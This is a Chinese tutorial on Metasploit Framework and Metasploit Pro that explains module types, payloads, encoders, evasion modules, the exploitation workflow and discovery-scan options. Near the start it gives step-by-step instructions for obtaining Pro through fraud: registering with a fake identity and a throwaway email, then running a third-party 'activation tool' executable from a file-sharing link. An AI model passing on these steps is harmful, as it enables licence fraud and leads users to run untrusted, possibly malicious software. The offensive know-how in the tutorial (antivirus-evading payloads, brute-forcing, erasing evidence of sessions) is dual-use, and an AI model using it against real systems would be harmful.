渗透测试 ( 3 ) --- Metasploit Framework ( MSF )

白嫖

  • :https://zhuanlan.zhihu.com/p/449836479
  • :http://t.zoukankan.com/hxlinux-p-15787814.html
  • :https://www.52pojie.cn/thread-1586222-1-1.html

Metasploit Pro 英文文档:https://docs.rapid7.com/metasploit/
Metasploit Pro 中文文档:https://www.wangan.com/docs/939

免费的 metasploit 教程:https://www.offensive-security.com/metasploit-unleashed/

0、初始 MFS

Metasploit 刚开始时没有 专业版 和 精简版 之分的,在2009年渗透测试技术领域知名公司Rapid7收购了Metasploit 项目,而作为 Metasploit 创始人的 HD Moore 也全职加入到 Metasploit 公司中。Rapid7 在2010年10月推出了新的 Metasploit 版本,即 Metasploit Express 和 Metasploit Pro。Metasploit Express 中拥有原来的 Metasploit 的所有功能,但是 Rapid7 在其基础上对 Metasploit Express 进行优化和自动化攻击,从而形成了Metasploit Pro,即所谓的 Metasploit 专业版,Metasploit 从而进军商业领域。

Metasploit 专业版 和 精简版 的主要差别在于专业版上面集成了全自动攻击模块,通过远程API集成网络分割测试模块、标准基线审计向导模块、闭环漏洞验证优先处理功能、动态载荷规避防病毒解决方案、钓鱼意识管理和鱼叉式网络钓鱼模块、对OWASP Top 10漏洞的Web应用程序测试模块、高级命令行和Web界面的选择模块。但是,专业版是必须要付费的,所以除非用到非个人的功能,否则没有必要去使用专业版,而且,专业版 和 精简版 的渗透攻击模块是一样的。

Metasploit Pro 官网下载 ( 官网好像找不到下载链接 )

  • 官网搜索 metasploit pro:https://www.rapid7.com/search/?q=metasploit+pro
  • 官方安装 ( window、linux、mac ):https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html

官网下载地址:https://www.rapid7.com/products/metasploit/download/pro/thank-you/

  •  Metasploit Pro Activation Tool.zip:https://pan.iculture.cc/s/411cK

Metasploit Pro :

  • 1、下载 Metasploit Windows 版本( Metasploit-Latest-Windows-Installer.exe )
  • 2、创建帐户( 使用 临时虚拟邮箱: https://www.tempo-mail.com/en 验证帐户 )
  • 3、创建虚拟身份:https://www.fakenamegenerator.com/
  • 4、转到(https://www.rapid7.com/products/metasploit/download/pro/)或(https://www.rapid7.com/try/metasploit-pro/)
  • 5、完全按照在 fakenamegenerator.com 上获得的个人资料填写所有内容,电子邮件地址除外
  • 6、从 Tempo-Mail.com 填写电子邮件地址
  • 7、完成验证码并点击提交
  • 8、使用您在 Tempo-Mail.com 上获得的密钥安装适当的 Metasploit Windows 版本
  • 9、运行(Metasploit Pro 激活工具.exe)
  • 10、重启你的电脑
  • 11、Metasploit Pro 激活成功

如果您需要更新 Metasploit Pro,则更新时重复该过程。

MSF 渗透测试框架介绍

 Kali 中 MSF 框架位置

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第1张图片

1、基础库:metasploit 基础库文件位于源码根目录路径下的 lib 目录中,包括 Rex、framework-core 和 framework-base 三部分。
Rex是整个框架所依赖的最基础的一些组件,比如: 封装了网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgreSQL以及MySQL数据库支持等;
framework-core库负责实现所有与各种类型的上层模块及插件的交互接口;
framework-base库扩展了 framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块;

2、模块:模块组织按照不同的用途分为 6 种类型的模块(Modules):

3、插件:插件能够扩充框架的功能,或者组装己有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等,为用户接口提供一些新的功能。

4、接口:包括 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面以及 msfapi 远程调用接口。

5、功能程序:metasploit 还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快 速地利用metasploit框架内部能力完成一些特定任务。比如 msfpayload. msfencode 和 msfvenom 可以将攻击载荷封装为可执行文件、C语言、JavaScript 语言等多种形式,并可以进行各种 类型的编码。  

msf 的 modules

辅助 ( Auxiliary ) 模块

metasploit 框架中的所有辅助攻击载荷。辅助渗透( 端口扫描、登录密码爆破、漏洞验证等 )

渗透攻击 ( Exploit ) 模块

渗透攻击 ( Exploit ):也叫 "漏洞利用模块",包含主流的漏洞利用脚本。渗透攻击 是指由攻击者或者渗透测试者利用系统、应用或服务中的安全漏洞而进行的攻击行为。

流行的攻击技术包括:缓冲区溢出、Web应用程序漏洞攻击、以及利用配置错误等。

Exploits 是 metasploit 框架的所有渗透攻击模块:主要包含 exp,0day,各种漏洞利用的脚本,主要的攻击代码都在里面,包含exp的路径的命名规则是系统/服务/模块,在使用exp是可以根据这个命名方法来找(也可以用search指令来寻找),比如use exploit/windows(系统)/server(服务)/模块名。

示例:进入windows 攻击模块:cd /usr/share/metasploit-framework/modules/exploits/windows

后渗透攻击 (Post ) 模块

后渗透 也叫 权限维持

这个目录里面放着 msf 的 exploit 执行成功后,向目标机发送的一些功能性指令比如:提权,获取 hash 等

攻击载荷 ( Payload )

payload 是 攻击载荷 的意思,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。攻击载荷,主要是攻击成功后在目标机器上执行的代码。

攻击载荷 ( payload ): 攻击成功后在目标机器上执行的代码。比如反弹shell的代码等。

在MSF框架中可以自由的选择,传送和植入 payload,比如:

  • 反弹式 shell 是一种从目标主机到攻击机创建网络连接,并提供命令行 shell 的攻击载荷,
  • bind shell 攻击载荷则在目标主机上将命令行 shell 绑定到一个打开监听端口,攻击者可以连接这些端口来取得 shell 交互(后门木马) 

溢出代码 ( Shellcode )

shellcode 是在渗透攻击时为攻击载荷运行的一组机器指令,shellcode 通常用汇编语言编写,在大多数情况下,目标系统执行了 shellcode 这一组指令后,才会提供一个命令行 shell 或 Meterpreter shell,这也是 shellcode 名称的由来

模块 ( Module )

在 MSF 中,一个模块是指 MSF 框架中所使用的一段软件代码组件,在某些时候,你可能会使用一个渗透攻击模块 ( Exploit module),也就是用于实际发起渗透攻击的软件组件,而在其他时候,则可能使用一个辅助模块(auxiliary module)用来扫描一些诸如扫描或系统查点的攻击动作 

监听器 ( Listenre )

监听器是 MSF 中用来等待连入网络连接的组件,举例来说,在目标主机被渗透攻击之后,它可能会通过互联网回连到主机上,而监听器组件在攻击主机上等待被渗透攻击的系统来连接,并负责这些网络连接

Nops ( 空指令 ):

可生成绕过防火墙的各种脚本文件。由于 IDS/IPS 会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊换行字符串( NOP x90x90... ) 则会因为被拦截而导致攻击失效。

payloads ( 载荷 ):

payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以进行程序注入等。( 攻击时的木马程序 )

Encoders ( 编码 ):

各种编码工具,对 payload 进行编码加密,用于躲过入侵检测、过滤系统、杀软 等。

躲避模块 ( evasion ):

用来生成免杀 payload

Data:

这个目录放着 Meterpreter,PassiveX,Vnc,DLLS 等这些工具和一些用户接口代码,Msfweb 和一些其他模块用到的数据文件

Plugins ( 插件 ):

这里的模块用户需要使用load加载,提供数据库连接插件,和各种要用到的插件(扩展插件)

Metasploitable3 Linux 系统靶机的安装

靶机安装略。。。

学习路线:了解 MSF ---> 安装 MSF2-Linux 靶机 ---> MSF基本使用方法 ---> MSF实战:攻击 win7主机并远程执行命令、扫描靶机 mysql 服务

1、Metasploit Pro 介绍

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第2张图片

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第3张图片

Metasploit Pro 工作流

渗透测试可以分为四个阶段到七个阶段。阶段的名称可以有所不同,但是它们通常包括:侦察,扫描,开采,开采后,维护访问权限,报告和清理。

Metasploit Pro 工作流程遵循渗透测试的一般步骤。除了侦察,您还可以从 Metasploit Pro 执行其他渗透测试步骤。

  • 创建项目 - 创建一个项目来存储从目标中收集的数据。
  • 收集信息 - 使用发现扫描,Nexpose 扫描或导入工具为 Metasploit Pro 提供目标列表以及正在运行的服务以及与这些目标关联的开放端口。
  • 漏洞利用 - 使用智能漏洞利用或手动漏洞利用对目标计算机发起攻击。此外,您可以运行蛮力攻击来提升帐户特权并获得对被利用机器的访问权限。
  • 执行漏洞利用后 - 使用漏洞利用后模块或交互式会话进行交互,以从受到感染的目标中收集更多信息。Metasploit Pro 为您提供了多种工具,可用于与被利用机器上的打开会话进行交互。例如,您可以查看受感染目标上的共享文件系统,以标识有关内部应用程序的信息。您可以利用此信息来获取有关受感染系统的更多信息。
  • 清理打开的会话 - 使用 “ 清理” 选项关闭被利用目标上的所有打开的会话,并删除渗透测试期间使用的任何数据的任何证据。此步骤将还原目标系统上的原始设置。
  • 生成报告 - 使用报告引擎来创建详细介绍渗透测试结果的报告。Metasploit Pro 提供了几种类型,可让您确定报告包括的信息类型。

从 Web 界面访问 Metasploit Pro

如果 Metasploit Pro 在本地计算机上运行,浏览器访问 https://localhost:3790 如果 Metasploit Pro 在远程计算机上运行,​​则需要用远程计算机的地址替换 localhost。

要登录 Web 界面,您需要激活 Metasploit Pro 许可证密钥时创建的帐户的用户名和密码。如果您忘记了为该帐户设置的密码,则需要重设密码。

如果用户界面未正确显示其所有元素,请确保您使用的是以下列出的受支持的浏览器之一:

  • 谷歌浏览器 10+
  • Mozilla Firefox 18+
  • Internet Explorer 10+
  • 冰狼 18+

Window 命令行访问 Metasploit Pro

要在 Windows 上启动控制台,请选择开始 > Metasploit> Metasploit 控制台

也可以从命令行启动控制台。要从命令行启动控制台,请输入以下内容:

$ cd /metasploit
$ console.bat

键盘快捷键:

  • j / k :向上或向下滚动页面。
  • Ctrl + ~ :如果您在 “全局设置” 中启用了调试选项,则打开诊断控制台。
  • Ctrl + Shift + ~:如果您在 “全局设置” 中启用了调试选项,则打开诊断控制台。
  • F1:打开在线帮助系统。
  • F3:关闭或打开所选的帮助图标。

Linux 上启动 Pro Console

要在 Linux 上启动控制台,请打开终端并运行以下命令:

$ cd /opt/Metasploit/
$ sudo msfpro

2、Metasploit Pro 使用快速入门指南

通常步骤:

  1. 创建一个项目
  2. 获取目标数据
  3. 查看和管理主机数据
  4. 运行漏洞扫描
  5. 设置监听器
  6. 利用已知漏洞
  7. 剥削后并收集证据
  8. 清理会话
  9. 产生报告

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第4张图片

2.1 创建一个项目

 项目包含工作空间、存储数据,并使您能够将项目分为逻辑组。通常,您对组织中的各个子网有不同的要求。因此,拥有多个项目来代表那些需求可能是有效的。

例如,您可能要为人力资源部门创建一个项目,为 IT 部门创建另一个项目。您对这些部门的要求可能相差很大,因此将目标分为不同的项目对您来说是合乎逻辑的。参与结束时,您可以为每个部门生成单独的报告,以进行比较分析并将发现的结果提交给组织。

创建项目很容易。单击 “ 项目” 页面上的 “ 新建项目” 按钮,也可以从全局工具栏中选择 “ 项目”>“新建项目 ”。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第5张图片

当出现 “ 新项目” 页面时,您只需要提供一个项目名称。如果要自定义项目,还可以添加说明,指定网络范围并分配用户访问级别。

2.2 获取目标数据

下面要做的是将数据添加到项目中。有两种方法可以执行此操作:

  • 运行发现扫描
  • 导入您已经拥有的数据

扫描目标

扫描是对主机进行指纹识别并枚举开放端口以了解网络中运行的服务的过程。通过扫描,您可以识别活动的系统以及可以与之通信的服务,从而可以制定有效的攻击计划。Metasploit 拥有自己的内置发现扫描程序,该扫描程序使用 Nmap 执行基本的 TCP 端口扫描并收集有关目标主机的其他信息。

默认情况下,发现扫描包括 UDP 扫描,它将 UDP 探测发送到最常见的 UDP 端口,例如 NETBIOS,DHCP,DNS 和 SNMP。扫描测试大约 250 个端口,这些端口通常为外部服务公开,并且在渗透测试期间通常进行测试。

在发现扫描期间,Metasploit Pro 会自动将主机数据存储在项目中。您可以查看主机数据以获得对网络拓扑的更好理解,并确定利用每个目标的最佳方法。通常,网络拓扑可以洞悉目标已安装的应用程序和设备的类型。您可以收集的有关目标的信息越多,对您进行测试的调整就越多。

运行发现扫描很简单。在项目中,单击 “ Scan 按钮。

当出现 “New Discovery Scan ” 表单时,在 “Target addresses” 字段中输入要扫描的主机。您可以输入一个 IP 地址,带连字符的 IP 范围或标准 CIDR 表示法。每个项目都需要出现在换行符中。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第6张图片

您可以仅在目标范围内运行扫描。但是,如果要微调扫描,则可以配置高级选项。例如,您可以指定要从扫描中排除的主机,并从高级选项中设置扫描速度。 

导入数据

如果您正在使用漏洞扫描程序,则可以将漏洞报告导入 Metasploit 项目以进行验证。导入的漏洞数据还包括主机元数据,您可以对其进行分析以识别其他攻击路线。Metasploit 支持多种第三方漏洞扫描程序,包括 Nessus,Qualys 和 Core Impact。

您也可以将数据从一个 Metasploit 项目导出和导入到另一个项目。这使您可以在项目和其他团队成员之间共享发现。

要将数据导入项目,请单击 “快速任务” 栏中的 “ 导入” 按钮。出现 “ 导入数据” 页面时,选择 “ 从 Nexpose ** 导入” 或 “** 从文件导入” 选项。根据您选择的选项,表格显示您需要配置以导入文件的选项。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第7张图片

例如,如果选择从 Nexpose 导入,则需要选择要用于运行扫描或导入站点的控制台。如果选择导入文件,则需要浏览到文件的位置

2.3 查看和管理主机数据

您可以在项目级别或主机级别查看主机数据。在项目级别,Metasploit 提供了已添加到项目中的所有主机的高级视图。要访问项目视图,请选择分析 > 主机。项目视图最初显示 “主机” 列表,该列表显示每个主机的指纹以及枚举的端口和服务。您还可以查看项目的所有注释、服务、漏洞和捕获的数据。要访问其他视图,请在项目视图中单击其选项卡。 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第8张图片

要查看主机的详细信息,可以单击主机的 IP 地址以访问单个主机视图。这是深入查看特定主机的漏洞和凭据的好方法。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第9张图片

2.4 运行漏洞扫描、找到并利用漏洞

漏洞扫描

将目标数据添加到项目中之后,可以运行漏洞扫描以查明可以利用的安全漏洞。漏洞扫描程序利用漏洞数据库并检查以发现目标计算机上存在的已知漏洞和配置错误。这些信息可以帮助您确定潜在的攻击媒介,并制定和制定攻击计划,从而使您能够在利用过程中危及目标。

与 Nexpose 的集成使您可以直接从 Metasploit Web 界面启动漏洞扫描。Nexpose 扫描可识别在每个主机上运行的活动服务,打开的端口和应用程序,并尝试根据已知服务和应用程序的属性来识别可能存在的漏洞。Nexpose 在扫描报告中披露结果,您可以将其与 Metasploit 共享以进行验证。

要运行 Nexpose 扫描,请单击快速任务栏中的 Nexpose 按钮。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第10张图片

当出现 Nexpose 配置表单时,您需要配置并选择要用于执行扫描的控制台。与发现扫描类似,您需要定义要扫描的主机。您还需要选择一个可用的扫描模板,该模板定义 Nexpose 使用的审核级别。有关扫描模板的更多信息,请查看 Nexpose 文档  ( https://docs.rapid7.com/insightvm/ )

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第11张图片

要查看 Nexpose 发现的所有潜在漏洞,请选择分析 > 漏洞。您可以单击漏洞名称以查看可用于利用该漏洞的模块。 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第12张图片

此信息在渗透的下一阶段变得很方便:利用。

漏洞扫描程序是有用的工具,可以帮助您快速发现目标上的潜在安全漏洞。但是,有时您可能希望避免检测并限制所产生的噪声量。在这些情况下,您可能需要运行一些辅助模块,例如 FTP,SMB 和 VNC 登录扫描程序,以手动识别可以利用的潜在漏洞。手动漏洞分析非常耗时,需要您自己进行研究,批判性思维和深入的知识,但是它可以帮助您创建准确而有效的攻击计划。

找到并利用漏洞

扫描和检查漏洞的最简单方法是通过漏洞验证向导,该向导可自动为 Nexpose 和 Metasploit Pro 用户提供验证过程。该向导提供了一个指导界面,可引导您完成验证过程的每个步骤 - 从导入 Nexpose 数据到自动利用漏洞,再到将验证结果发送回 Nexpose。

如果您无权访问 Nexpose 和 / 或 Metasploit Pro,则验证过程需要对漏洞进行手动分析。手动验证需要更多的工作量,但可以提供对目标漏洞的更多控制。

利用已知漏洞

在收集了有关目标的信息并确定了潜在的漏洞之后,可以进入开发阶段。利用只是针对发现的漏洞运行利用的过程。成功的利用漏洞尝试提供对目标系统的访问,因此您可以执行诸如窃取密码哈希和下载配置文件之类的事情。它们还使您能够识别和验证漏洞带来的风险。

Metasploit 提供了两种可用于执行利用的不同方法:

  • 自动利用
  • 手动利用

自动利用

自动利用功能可以交叉引用开放服务,漏洞参考和指纹以查找匹配的利用。所有匹配的漏洞利用都被添加到攻击计划中,该计划基本上确定了可以运行的所有漏洞利用。自动利用漏洞的简单目标是,通过利用 Metasploit 为目标主机提供的数据来尽快获得会话。

要运行自动利用,请单击快速任务栏中的利用按钮。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第13张图片

至少,您需要提供要利用的主机以及每种利用的最低可靠性。可以设置最低可靠性,以保证所启动漏洞利用程序的安全性。可靠性级别越高,使用的漏洞利用就越不可能使服务崩溃或对目标产生负面影响。有关每个模块排名的说明,请查看此页面。

手动利用

手动利用漏洞提供了更有针对性和方法性的漏洞利用方法。它使您可以一次运行一个选择的漏洞利用程序。如果存在要利用的特定漏洞,此方法特别有用。例如,如果您知道 Windows XP 目标上的 SMB 服务器没有 MS08-067 修补程序,则可能要尝试运行相应的模块来利用它。

要搜索模块,请选择 “ 模块”>“搜索”,然后输入要运行的模块的名称。查找确切模块匹配的最佳方法是按漏洞参考进行搜索。例如,如果要搜索 ms08-067,则可以搜索 “ms08-067”。您也可以按以下模块路径进行搜索:exploit/windows/smb/ms08_067_netapi。

查找漏洞利用程序的最简单方法之一就是直接从漏洞页面上进行。要查看项目中的所有漏洞,请选择 “ 分析”>“漏洞”。您可以单击漏洞名称以查看可用于利用该漏洞的相关模块。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第14张图片

单个漏洞视图显示了可以针对主机运行的漏洞利用列表。您可以单击利用按钮以打开模块的配置页面。 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第15张图片

2.5 配置通用漏洞利用模块设置 

每个模块都有自己的一组选项,可以根据您的需求进行定制。这里列出的可能性太多。但是,以下是一些通常用于配置模块的选项:

  • 有效负载类型 - 指定漏洞将传递给目标的有效负载类型。选择以下有效负载类型之一:
            命令 : 命令执行有效负载,使您能够在远程计算机上执行命令。
            Meterpreter : 高级有效负载,提供命令行,使您可以即时传递命令并注入扩展。
  • 连接类型 - 指定您希望 Metasploit 实例连接到目标的方式。选择以下连接类型之一:
            自动 :检测到 NAT 时自动使用绑定连接;否则,将使用反向连接。
            绑定 :使用绑定连接,当目标位于防火墙或 NAT 网关后面时,此连接很有用。
            反向 :使用反向连接,这在系统无法启动与目标的连接时非常有用。
  • LHOST- 定义本地主机的地址。
  • LPORT- 定义要用于反向连接的端口。
  • RHOST- 定义目标地址。
  • RPORT- 定义要攻击的远程端口。
  • 目标设置 - 指定目标操作系统和版本。
  • 利用超时 - 以分钟为单位定义超时。

2.6 收集信息

成功利用漏洞的任何利用都会导致开放会话,您可以使用该会话从目标中提取信息。攻击的真正价值取决于您可以从目标中收集的数据,例如密码哈希,系统文件,和屏幕截图,以及如何利用这些数据来访问其他系统。

要查看打开的会话列表,请选择 “ 会话” 选项卡。单击会话 ID,以查看可以针对主机运行的利用后任务。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第16张图片

要从被利用的系统收集证据,请单击 “ 收集” 按钮。 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第17张图片

将显示所有打开的会话的列表,并向您显示可以收集的证据类型。 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第18张图片

2.7 暴力破解和重用密码

获取目标的最流行方法之一是使用密码攻击。您可以使用 Bruteforce 或 Reusing Credentials 进行密码攻击。

2.8 清理会话

完成打开的会话后,您可以清理会话以删除可能遗留在系统上的所有证据并终止会话。要清理会话,请转到 “ 会话” 页面,然后单击清理按钮。

当出现 “ 会话清理” 页面时,选择要关闭的会话,然后单击 “ 清理会话” 按钮。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第19张图片

2.9 生成报告 

在渗透测试的最后,您将要创建一个包含渗透测试结果的可交付成果。Metasploit 提供了许多报告,可用于编译测试结果并将数据合并为可分发的有形格式。

3、Metasploit Pro 扫描

扫描

渗透测试的第一步就是侦察。侦察是收集信息以更好地了解网络的过程。它使您可以创建目标 IP 地址列表并制定攻击计划。拥有 IP 地址列表后,您可以运行发现扫描以了解有关这些主机的更多信息。发现扫描可识别网络上正在运行的操作系统,将这些系统映射到 IP 地址,并枚举那些系统上的开放端口和服务。

发现扫描是内部的 Metasploit 扫描器。它使用 Nmap 执行基本的 TCP 端口扫描,并运行其他扫描程序模块以收集有关目标主机的更多信息。默认情况下,发现扫描包括 UDP 扫描,它将 UDP 探测发送到最常见的 UDP 端口,例如 NETBIOS,DHCP,DNS 和 SNMP。发现扫描测试大约 250 个端口,这些端口通常为外部服务公开,并且在渗透测试期间通常进行测试。

在发现扫描期间,Metasploit Pro 会自动将主机数据添加到项目中。您可以查看主机数据以获得对网络拓扑的更好理解,并确定利用每个目标的最佳方法。通常,网络拓扑可以洞悉目标已安装的应用程序和设备的类型。您可以收集的有关目标的信息越多,对您进行测试的调整就越多。

扫描可以分为四个不同的阶段:

  • ping 扫描
  • 端口扫描
  • 操作系统和版本检测
  • 资料汇入

ping 扫描

扫描的第一阶段,即 ping 扫描,确定主机是否在线。发现扫描设置该 -PI 选项,该选项告诉 Nmap 执行标准的 ICMP ping 扫描。单个 ICMP 回显请求被发送到目标。如果有 ICMP 回显答复,则将主机视为 “启动” 或在线。如果主机在线,则发现扫描会将主机包括在端口扫描中。

端口扫描

在第二阶段(端口扫描)中,Metasploit Pro 运行 Nmap 来识别打开的端口,并且这些端口上的服务可用。Nmap 将探测发送到各个端口,并对响应进行分类,以确定端口的当前状态。扫描涵盖了各种通常公开的端口,例如 HTTP,telnet,SSH 和 FTP。

发现扫描使用默认的 Nmap 设置,但是您可以添加自定义 Nmap 选项以自定义 Nmap 扫描。例如,默认情况下,发现扫描运行 TCP SYN 扫描。如果要运行 TCP Connect 扫描而不是 TCP SYN 扫描,则可以提供该 -sT 选项。您指定的任何选项都会覆盖发现扫描使用的默认 Nmap 设置。

操作系统和版本检测

发现扫描识别出打开的端口后,第三阶段开始。Nmap 将各种探测发送到打开的端口,并根据系统对探测的响应方式来检测服务版本号和操作系统。操作系统和版本号提供有关系统的有价值的信息,并帮助您识别可能的漏洞并消除误报。

资料汇入

最后,在 Nmap 收集所有数据并创建报告之后,Metasploit Pro 将数据导入到项目中。Metasploit Pro 使用服务信息发送针对发现的服务的其他模块,并探测目标以获取更多数据。例如,如果发现扫描使用 telnet 探针扫描目标,则目标系统可能会返回登录提示。登录提示可能表明该服务允许远程访问系统,因此,此时,您可能需要运行蛮力攻击来破解凭据。

扫描中包含的端口

常用扫描的端口有 200 多个,其中包括以下端口集:

标准和众所周知的端口,例如端口 20、21、22、23、25、53、80 和 443。
服务的备用端口,例如端口 8080 和 8442,它们是 HTTP 和 Web 服务可以使用的其他端口。
列出为模块中默认端口的端口。

如果没有看到要扫描的端口,则可以将端口手动添加到发现扫描中。例如,如果您知道公司在开放端口 9998 的情况下运行 Web 服务器,则需要将端口 9998 手动添加到发现扫描中。这样可以确保发现扫描包括可能打开的每个端口。

如果要扫描所有端口,则可以将 1-65535 指定为端口范围。请记住,包括所有端口的发现扫描可能需要几个小时才能完成。

如果存在您不想扫描的端口,则可以从发现扫描中排除该端口。发现扫描不会扫描排除列表上的任何端口。例如,如果您的公司使用在端口 1234 上运行的应用程序,并且您不想影响该应用程序的性能,则可以将该端口添加到排除列表中。

扫描选项

您可以为发现扫描配置以下选项:

  • 目标地址:定义要扫描的单个主机或网络范围。
  • 执行初始端口扫描:在发现扫描执行服务版本验证之前执行端口扫描。
  • 自定义 Nmap 参数:将标志和命令发送到 Nmap 可执行文件。发现扫描不支持以下 Nmap 的选项:-o,-i,-resume,-script,-datadir,和 -stylesheet。
  • 其他 TCP 端口:将其他 TCP 端口附加到端口扫描。默认情况下,端口扫描覆盖的端口很小,但范围很广。如果要向扫描添加更多端口,请使用此选项。
  • 排除的 TCP 端口:从服务发现中排除某些 TCP 端口。默认情况下,端口扫描覆盖特定范围的端口。使用此选项可以添加要从扫描中排除的端口。
  • 自定义 TCP 端口范围:指定供发现扫描使用的 TCP 端口范围,而不是默认端口。如果设置自定义 TCP 端口范围,则发现扫描将忽略所有默认端口,而改用您定义的范围。
  • 自定义 TCP 源范围:指定发现扫描使用的 TCP 源端口而不是默认端口。使用此选项测试防火墙规则。
  • 快速检测:仅通用 TCP 端口。在最常见的 TCP 端口上执行扫描,从而减少了发现扫描扫描的端口数。
  • 端口扫描速度:控制 Nmap 计时选项。从以下时序模板中选择:
            Insane (5) - 加快扫描速度。牺牲了速度和准确性。扫描延迟小于 5 毫秒。
            Aggressive (4) - 加快扫描速度。假设您使用。扫描延迟小于 10 毫秒。
            Normal (3) - 默认端口扫描速度,不影响扫描。
            Polite (2) - 使用较少的带宽和目标资源来减慢扫描速度。
            Sneaky (1) - 逃避 IDS 的速度。
            Paranoid (0) - 用于逃避 IDS 的速度。
  • 端口扫描超时:确定 Nmap 在每个主机上花费的时间。默认值为 5 分钟。
  • UDP 服务发现:设置发现扫描以查找网络上的所有服务。Metasploit 使用自定义模块而不是 Nmap 来执行 UDP 服务发现。
  • 扫描 SNMP 社区字符串:启动后台任务,该任务会扫描响应各种社区字符串的设备。
  • 扫描 H.323 视频端点:扫描 H.323 设备。
  • 通过 Finger 枚举用户:如果发现扫描检测到 Finger 协议,则查询用户名并尝试暴力破解用户列表。
  • 识别未知服务:设置发现扫描以查找网络上所有未知的服务和应用程序。
  • 单次扫描:单独扫描主机。在单个主机上运行扫描。发现扫描会完全扫描第一个主机,然后将信息存储到数据库中,然后再移至下一个主机。
  • 空运行:仅显示扫描信息。如果启用,此选项将准备扫描并显示发现扫描将在任务日志中使用的所有选项。但是,它不会启动扫描。
  • 网络扫描:运行 Pro Web Scanner。自动运行 Web 扫描,Web 审计和 Web 漏洞发现扫描。通常建议您不要启用此选项,除非您要对很少的主机进行扫描。如果要对大量主机运行发现扫描,则应与发现扫描分开运行 Web 扫描程序。
  • SMB 用户名:定义发现扫描用来尝试登录 SMB 服务的 SMB 用户名。
  • SMB 密码:定义发现扫描用于尝试登录 SMB 服务的 SMB 密码。
  • SMB 网域:定义 SMB 服务器名称和共享名称。

指定 IPv6 地址

在发现扫描期间,Metasploit Pro 不会自动检测 IPv6 地址。对于具有 IPv6 地址的主机,您必须知道目标设备正在使用的各个 IP 地址,并将这些地址指定给 Metasploit Pro。要识别单个 IPv6 地址,可以使用 SNMP,Nmap 或 thc-alive6,它们是 thc-ipv6 工具包的一部分。

确定目标设备的 IPv6 地址后,可以将包含主机地址的文本文件导入到项目中,也可以将主机手动添加到项目中。

导入包含 IPv6 地址的文

要导入文件,请选择分析 > 主机。出现 “ 主机” 页面时,单击 “ 导入” 按钮。当出现 “ 导入数据” 页面时,浏览到主机地址文件的位置并导入主机地址文件。该文件必须是一个文本文件,在新行上列出每个 IPv6 地址,如下所示:

FE80:0000:0000:0000:0202:B3FF:FE1E:8329
FE80:0000:0000:0000:0202:B3FF:FE1E:8328

手动添加具有 IPv6 地址的主机

要手动添加主机,请选择分析 > 主机。当出现 “ 主机” 页面时,单击 “ 新建主机” 按钮。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第20张图片

出现 “ 主机” 页面时,输入以下信息:

  • 名称 - 主机的名称。
  • IP 地址 - 主机的 IPv6 地址。

其他字段,例如以太网地址和 OS 信息,是可选的。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第21张图片

运行扫描

发现扫描将运行 Nmap 以及一些特定于服务的模块,以识别运行中的系统并查找打开的端口和服务。至少,您需要指定要扫描的系统的地址。您还可以配置一些高级选项来微调不同的扫描阶段。例如,您可以绕过端口扫描阶段并转到版本检测,也可以单独扫描每个主机以加快将主机导入项目的速度。此外,这些高级设置使您可以选择端口,目标服务,扫描速度和扫描模式。

由于发现扫描主要利用 Nmap,因此您可以指定其他 Nmap 选项来自定义扫描。例如,如果要更改扫描技术,则可以为要使用的技术提供 Nmap 命令行选项,发现扫描将应用这些设置而不是默认设置。有关 Nmap 选项的更多信息,请访问 Nmap 文档 ( https://nmap.org/book/man-briefoptions.html )。

要运行发现扫描:

在项目中,单击概述选项卡。

出现 “ 概述” 页面时,单击 “ 扫描” 按钮。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第22张图片

您也可以从 “ 分析” 页面访问 “ 扫描” 按钮。

  1. 当出现 “ 新发现扫描” 页面时,在 “ 目标地址” 字段中输入要包括在扫描中的目标地址。 

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第23张图片

您可以输入一个 IP 地址,地址范围或 CIDR 表示法。如果有多个地址或地址范围,请使用换行符分隔每个条目。

此时,您可以启动扫描。但是,如果要微调扫描,可以单击 “ 显示高级选项” 按钮以显示可以为发现扫描设置的其他选项。例如,您可以指定要明确包含在扫描中或从扫描中排除的 IP 地址。
准备好运行扫描时,请单击启动扫描按钮。
发现扫描启动后,任务日志将显示并显示进度状态和扫描状态。如果扫描顺利完成,则状态为 “完成”。否则,错误将显示在任务日志中,并且扫描标记为 “失败”。

查看扫描结果

查看发现扫描收集的数据的最佳方法是从 “ 主机” 页面。要查看 “主机” 页面,请选择 “ 主机”>“分析”。每个主机将具有以下状态之一:已扫描,已破解,被剥壳或被掠夺。对于最近扫描的主机,最简单的识别方法是按日期和状态对其进行排序。

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第24张图片

分析扫描收集的数据 

